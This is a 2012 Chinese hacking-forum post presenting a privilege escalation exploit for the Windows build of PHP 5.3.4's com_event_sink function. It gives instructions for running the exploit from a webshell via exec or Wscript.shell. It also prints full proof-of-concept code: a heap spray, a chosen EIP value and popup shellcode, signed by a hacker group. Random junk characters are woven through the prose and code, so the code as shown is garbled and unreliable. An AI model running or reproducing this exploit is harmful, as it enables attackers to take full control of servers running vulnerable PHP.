找回密码
 立即注册
查看: 2986|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
4 l  G) o( ^; S5 t/ N- j
- I1 K" {+ P1 x! N5 k6 \# `/ O测试方法如下:cmd /c x:\php\php.exe x:\test.php
# y$ ^$ r, r" D; I8 d& A, ?2 k* M/ J0 ]7 S+ N* j7 \5 I
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php" j) H' D- z) d
这里是两个测试的截图:0 y, C  X, y. {" @9 a/ I6 m
/ T* j( \' a; `  v+ w% ?: Z
% c( u# {! m+ E" R
& U' M) X. o9 F7 d+ O

: `7 P& |; _, v2 z
9 P2 B9 R+ H, ?0 ~- \$ E成功利用此漏洞的攻击者将获得系统的最高权限' h1 y! {" w3 W: e% O& d

/ O2 M& O3 `* T9 r2 \! u1 L0 ^$ J* W9 ^% v, x

+ T4 ]3 }$ H& E7 P4 i, W/ @& [+ Z' E$ z
7 k- _8 y3 r$ W
关于漏洞分析稍后附上。一下是PoC代码:
* ~! |- V, M0 O+ a
3 j! Q" q8 N* c/ [5 e& l- A<?php
3 o) ?7 B& d5 N) m5 R% W9 G//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞% Q' C. a; v3 R: e
//$eip ="\x44\x43\x42\x41";
, o, I3 Y/ m! [# k' d  L% H# v$eip= "\x4b\xe8\x57\x78";
$ ?! s3 l8 Y) ~( B: k$eax ="\x80\x01\x8d\x04";# t% p( u: S, h9 I
$deodrant="";/ f# f4 `4 Q/ ]( G. A
$axespray = str_repeat($eip.$eax,0x80);
+ g' Z( O9 I7 j8 D//048d0190* b# H0 y8 I- w! Z
echo strlen($axespray);
! E. q$ t+ o9 A# Y9 q" lecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";9 ?  d* l/ K# O( g2 E  E& V
echo "Silic Group Hacker Army - BlackBap.Org";
2 g. z: c6 r  I  E7 H//19200 ==4B32 4b00
+ Y0 d2 v  s( K  Hfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}0 Z$ u. i9 _0 ?, g/ C8 p
$terminate = "T";
; Y8 m9 b: h2 k: t! n# ?3 v4 e/ O' U$u[] =$deodrant;: J3 c. D+ m* z- ^  i& |  G$ {9 }
$r[] =$deodrant.$terminate;# W" h# ?( u" l+ g* j: l0 S
$a[] =$deodrant.$terminate;
" b' b- Y: p( E. }. h$s[] =$deodrant.$terminate;
9 f: }# p! m, ^* ^//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的- u7 u) V9 t8 `% S# P4 M: _7 r
$vVar = new VARIANT(0x048d0000+180);, {& X0 C: d5 s2 {  s2 q$ r
//弹窗代码(Shellcode)
) x: D! z) W  @$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";* S& C+ @* r, O* c2 W! w9 V+ T# L
$var2 = new VARIANT(0x41414242);6 m2 A. E) y' K) |7 u
com_event_sink($vVar,$var2,$buffer);" c0 K) L. A; {* _% Q, ^9 {# A
?>2 f) b, }7 P' B8 |5 j6 v" B

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表